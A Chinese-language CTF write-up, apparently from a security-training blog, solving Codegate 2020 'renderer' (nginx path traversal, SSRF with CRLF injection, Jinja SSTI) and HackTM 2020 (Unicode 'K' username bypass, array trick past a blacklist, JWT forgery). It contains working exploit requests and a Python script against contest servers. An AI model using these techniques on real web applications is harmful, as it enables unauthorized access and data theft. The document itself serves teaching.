在家无聊,就打了两个ctf,总结一下:
Description :
It is my first flask project with nginx. Write your own message, and get flag!
http://110.10.147.169/renderer/
http://58.229.253.144/renderer/
DOWNLOAD :
http://ctf.codegate.org/099ef54feeff0c4e7c2e4c7dfd7deb6e/022fd23aa5d26fbeea4ea890710178e9
http://110.10.147.169/renderer/whatismyip
:whatismyip
页面的数据。https://www.baidu.com
访问时服务器出现500错误,因此判断是要利用ssrf读取敏感文件这类似的操作。SSRF攻击与防御:
http://www.hetianlab.com/cour.do?w=1&c=CCID9565-ac81-488a-b97e-c6d1b9cd978e
复制上方链接或者点击阅读原文做实验。
/settings/run.sh
#!/bin/bash
service nginx stop
mv /etc/nginx/sites-enabled/default /tmp/
mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask
service nginx restart
uwsgi /home/src/uwsgi.ini &
/bin/bash /home/cleaner.sh &
/bin/bash
run.sh
文件主要是Flask + Nginx + uWSGI
的配置和服务器的相关服务的启动。Flask + Nginx + uWSGI
了解相关配置。Dockerfile
FROM python:2.7.16
ENV FLAG CODEGATE2020{**DELETED**}
RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi
ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf
ADD prob_src/static /home/static
RUN chmod 777 /home/static
RUN mkdir /home/tickets
RUN chmod 777 /home/tickets
ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh
ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh
CMD ["/bin/bash", "/home/run.sh"]
Dockerfile
文件中我们可以看到它应该是一个flask应用程序。/renderer/
路由我们可以判断存在目录遍历漏洞,由于我们知道/home/static
的目录位置因此我们可以通过这个配置漏洞来遍历敏感文件。http://110.10.147.169/static../src/uwsgi.ini
[uwsgi]
chdir = /home/src
module = run
callable = app
processes = 4
uid = www-data
gid = www-data
socket = /tmp/renderer.sock
chmod-socket = 666
vacuum = true
daemonize = /tmp/uwsgi.log
die-on-term = true
pidfile = /tmp/renderer.pid
uwsgi.ini
是WSGI服务器的配置文件,WSGI一般用来管理flask
等框架。http://110.10.147.169/static../src/run.py
from app import *
import sys
def main():
#TODO : disable debug
app.run(debug=False, host="0.0.0.0", port=80)
if __name__ == '__main__':
main()
http://110.10.147.169/static../src/app/__init__.py
from flask import Flask
from app import routes
import os
app = Flask(__name__)
app.url_map.strict_slashes = False
app.register_blueprint(routes.front, url_prefix="/renderer")
app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")
FLAG
是flash框架的配置参数。http://110.10.147.169/static../src/app/routes.py
from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprint
import urllib2
import time
import hashlib
from os import path
from urlparse import urlparse
front = Blueprint("renderer", __name__)
@front.before_request
def test():
print(request.url)
@front.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
url = request.form.get("url")
res = proxy_read(url) if url else False
if not res:
abort(400)
return render_template("index.html", data = res)
@front.route("/whatismyip", methods=["GET"])
def ipcheck():
return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())
@front.route("/admin", methods=["GET"])
def admin_access():
ip = get_ip()
rip = get_real_ip()
if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
abort(403)
if ip != rip: #if use proxy
ticket = write_log(rip)
return render_template("admin_remote.html", ticket = ticket)
else:
if ip == "127.0.0.2" and request.args.get("body"):
ticket = write_extend_log(rip, request.args.get("body"))
return render_template("admin_local.html", ticket = ticket)
else:
return render_template("admin_local.html", ticket = None)
@front.route("/admin/ticket", methods=["GET"])
def admin_ticket():
ip = get_ip()
rip = get_real_ip()
if ip != rip: #proxy doesn't allow to show ticket
print 1
abort(403)
if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
print 2
abort(403)
if request.headers.get("User-Agent") != "AdminBrowser/1.337":
print request.headers.get("User-Agent")
abort(403)
if request.args.get("ticket"):
log = read_log(request.args.get("ticket"))
if not log:
print 4
abort(403)
return render_template_string(log)
def get_ip():
return request.remote_addr
def get_real_ip():
return request.headers.get("X-Forwarded-For") or get_ip()
def proxy_read(url):
#TODO : implement logging
s = urlparse(url).scheme
if s not in ["http", "https"]: #sjgdmfRk akfRk
return ""
return urllib2.urlopen(url).read()
def write_log(rip):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
log_str = "Admin page accessed from %s" % rip
f.write(log_str)
return tid
def write_extend_log(rip, body):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
f.write(body)
return tid
def read_log(ticket):
if not (ticket and ticket.isalnum()):
return False
if path.exists("/home/tickets/%s" % ticket):
with open("/home/tickets/%s" % ticket, "r") as f:
return f.read()
else:
return False
admin_ticket()
中使用这个render_template_string()
函数渲染字符串,这是一个ssti注入,相信大家不会陌生。ip=rip
,ip
在["127.0.0.1","127.0.0.2"]
中并且User-Agent="AdminBrowser/1.337"
,还有ticket
文件名必须知道。/renderer/
时会调用index()
函数,利用ssrf和CRLF注入我们可以使ip
等于127.0.0.1
,rip
等于{{config.FLAG}}
,由于ip != rip
那么将会把rip
写入到/home/tickets/
的某个文件中(文件名为数字),然后通过admin_remote.html
文件将文件名ticket
显示在其中:{% extends "base.html" %}
{% block usertyle %}
<link rel="stylesheet" href="/static/css/renderer.css" />
{% endblock %}
{% block body %}
<div class="container">
<h3 class="text-center">Codegate '20 Proxy Admin Page</h3>
<br />
<img src="/static/img/admin_is_watching_you.jpg" />
{% if ticket %}
<p class="text-center">
Your access log is written with ticket no {{ ticket }}
</p>
{% endif %}
</div>
{% endblock %}
admin_remote.html
是用ssrf渲染的然后再将其作为数据渲染显示在index.html
中这样我们就拿到了ticket
的值:/home/tickets/0008651ea04209ff2d014745533034d815ea9707
文件当中,现在我们就要把他读取出来作为render_template_string(log)
的参数渲染就可以拿到flag了。/renderer/
会调用index()
,然后利用ssrf访问/admin/ticket
再利用CRLF注入,可以使ip=rip
,ip=127.0.0.1
,User-Agent="AdminBrowser/1.337"
,由于上面第1步我们已经获取了ticket
,因此直接调用read_log()
函数将恶意代码读出来传入render_template_string(log)
渲染即可rce。CODEGATE2020{CrLfMakesLocalGreatAgain}
http://www.hetianlab.com/cour.do?w=1&c=CCID9565-ac81-488a-b97e-c6d1b9cd978e
flag
入手,下面这段代码返回了flag
:app.get("/flag", (req, res) => {
// Get the flag
// Only for root
if (req.user.id == 0) {
res.send(ok({ flag: flag }));
} else {
res.send(err("Unauthorized"));
}
});
req.user.id
是由JWT签名的,并且是在登陆的时候由服务器随机生成的。我必须去获得一个签名的token并且其中的id
值是0。但是如果我们拿不到jwtSecret
,签名是安全的。none
攻击,构造方法如下:{
"id": "dff3dc0b-b6fd-494e-8a8b-329fc600f4fb",
"iat": 1581076667
}
改成:
{
"id": "0",
"iat": 1581076667
}
{
"alg": "HS256",
"typ": "JWT"
}
改成
{
"alg": "none",
"typ": "JWT"
}
/init
中返回了JWT
的签名如下://Sign the admin ID
let adminId = pwHash
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b);
console.log(adminId);
res.json(ok({ token: sign({ id: adminId }) }));
adminId
为0
,因此需要target^pwHash
为0
这意味着target===pwHash
。target
是这个config.n
的md5值。pwHash
是这个q*p
的md5值。config.n
,这样就可以用n/p
得到q
了,那么就可以构成target===pwHash
了。/serverInfo
中返回了一些在config
的元素:app.get("/serverInfo", (req, res) => {
let user = users[req.user.id] || { rights: [] };
let info = user.rights.map(i => ({ name: i, value: config[i] }));
res.json(ok({ info: info }));
});
[ "message", "height", "width", "version", "usersOnline", "adminUsername", "backgroundColor" ]
(在/login
的路由里显示)n,p
,因此我们需要去添加n
和p
到我们的用户权限列表中,但是只要adminU可以,下面会介绍。/updateUser
中的我们可以去添加用户权限到权限列表中。["p","n"]
时:将会返回You're not an admin!
。if (!user || !isAdmin(user)) {
res.json(err("You're not an admin!"));
return;
}
isAdmin(user)
function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}
username.toLowerCase() === adminUsername.toLowerCase()
。adminUsername
是hacktm
如果我们尝试去登陆(/login
)使用hacktm
我们将会获取下面的信息:Invalid creds
function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
);
}
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
username.toLowerCase() === adminUsername.toLowerCase()
unicode
的K
来绕过ascii的K
,例如:console.log('K'.toUpperCase()==='k'.toUpperCase());
console.log('K'.toLowerCase()==='k'.toLowerCase());
false
true
const admin="hacktm";
const tmp1=admin.toUpperCase().split('');
const tmp2=admin.toLowerCase().split('');
for (let i=0;i<100000;i++){
const char=String.fromCharCode(i);
if(tmp1.includes(char.toUpperCase())||tmp2.includes(char.toLowerCase())){
console.log(i,char,char.toUpperCase(),char.toLowerCase());
}
}
65 'A' 'A' 'a'
67 'C' 'C' 'c'
72 'H' 'H' 'h'
75 'K' 'K' 'k'
77 'M' 'M' 'm'
84 'T' 'T' 't'
97 'a' 'A' 'a'
99 'c' 'C' 'c'
104 'h' 'H' 'h'
107 'k' 'K' 'k'
109 'm' 'M' 'm'
116 't' 'T' 't'
8490 'K' 'K' 'k'
65601 'A' 'A' 'a'
65603 'C' 'C' 'c'
65608 'H' 'H' 'h'
65611 'K' 'K' 'k'
65613 'M' 'M' 'm'
65620 'T' 'T' 't'
65633 'a' 'A' 'a'
65635 'c' 'C' 'c'
65640 'h' 'H' 'h'
65643 'k' 'K' 'k'
65645 'm' 'M' 'm'
65652 't' 'T' 't'
74026 'K' 'K' 'k'
hacKtm
,满足条件,K
不是ascii的K
:/login
如下:POST /login HTTP/1.1
Host: 167.172.165.153:60001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Authorization: Bearer undefined
Content-Length: 23
Origin: http://167.172.165.153:60000
Connection: close
Referer: http://167.172.165.153:60000/
{"username":"hacKtm"}
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 199
ETag: W/"c7-FOLFBWmzAHyWeAJOurHR3CgFQ7w"
Date: Fri, 07 Feb 2020 11:57:47 GMT
Connection: close
{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRmZjNkYzBiLWI2ZmQtNDk0ZS04YThiLTMyOWZjNjAwZjRmYiIsImlhdCI6MTU4MTA3NjY2N30.wa1XTEXY6XbTr8M0XL2vGgHtTGjTDwViCK3tu2nPIJs"}}
POST /updateUser HTTP/1.1
Host: 167.172.165.153:60001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRmZjNkYzBiLWI2ZmQtNDk0ZS04YThiLTMyOWZjNjAwZjRmYiIsImlhdCI6MTU4MTA3NjY2N30.wa1XTEXY6XbTr8M0XL2vGgHtTGjTDwViCK3tu2nPIJs
Content-Length: 22
Origin: http://167.172.165.153:60000
Connection: close
Referer: http://167.172.165.153:60000/
{"rights": ["n", "p"]}
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 205
ETag: W/"cd-ZjJARGQw8OB8MX5BzYLl/dWOAKM"
Date: Fri, 07 Feb 2020 12:09:55 GMT
Connection: close
{"status":"ok","data":{"user":{"username":"hacKtm","id":"dff3dc0b-b6fd-494e-8a8b-329fc600f4fb","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor"]}}}
n
和p
没有被添加到用户权限列表中,通过查看源码,这是因为checkRights(arr)
函数的检查。checkRights(arr)
:checkRights(arr)
中:function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
checkRights(arr)
中定义了黑名单["p", "n", "port"]
,只要包含里面的任意一个字符都不会添加用户权限。javascript
使用toString()
去访问对象的属性。toString
方法是和这个元素单独使用toString
是一样的,例如:console.log(["l"].toString()==="l".toString());
// output: true
[["p"],["n"]]
payload发送到/updateUser
会返回如下内容:HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 217
ETag: W/"d9-uCy43hPNMI1ebwEnfBO1u7Arbg8"
Date: Fri, 07 Feb 2020 12:24:10 GMT
Connection: close
{"status":"ok","data":{"user":{"username":"hacKtm","id":"dff3dc0b-b6fd-494e-8a8b-329fc600f4fb","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"],["p"]]}}}
["n"],["p"]
的权限。/serverInfo
获取n,p
的值:{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":12},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"},{"name":["p"],"value":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617"}]}}
flag
:q
使用n/p
我们获得:q = 283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987
import requests
url = "http://167.172.165.153:60001"
json={
"p":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617",
"q":"283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987"
}
response=requests.post(url+"/init",json=json)
print(response.text)
token=response.json()['data']['token']
print(token)
headers={
"Authorization": "Bearer %s" % token
}
response=requests.get(url+"/flag",headers=headers)
print(response.json())
{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMjM5MTcxfQ.qlYl5xN0H6NcGhRL1FwAUixGthGNztOjoFAmohimOr0"}}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMjM5MTcxfQ.qlYl5xN0H6NcGhRL1FwAUixGthGNztOjoFAmohimOr0
{'status': 'ok', 'data': {'flag': 'HackTM{Draw_m3_like_0ne_of_y0ur_japan3se_girls}'}}
http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2017041815391500001
点击阅读原文做实验
点击获取:2019原创干货集锦 | 掌握学习主动权
欢迎投稿至邮箱:[email protected]
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费
了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!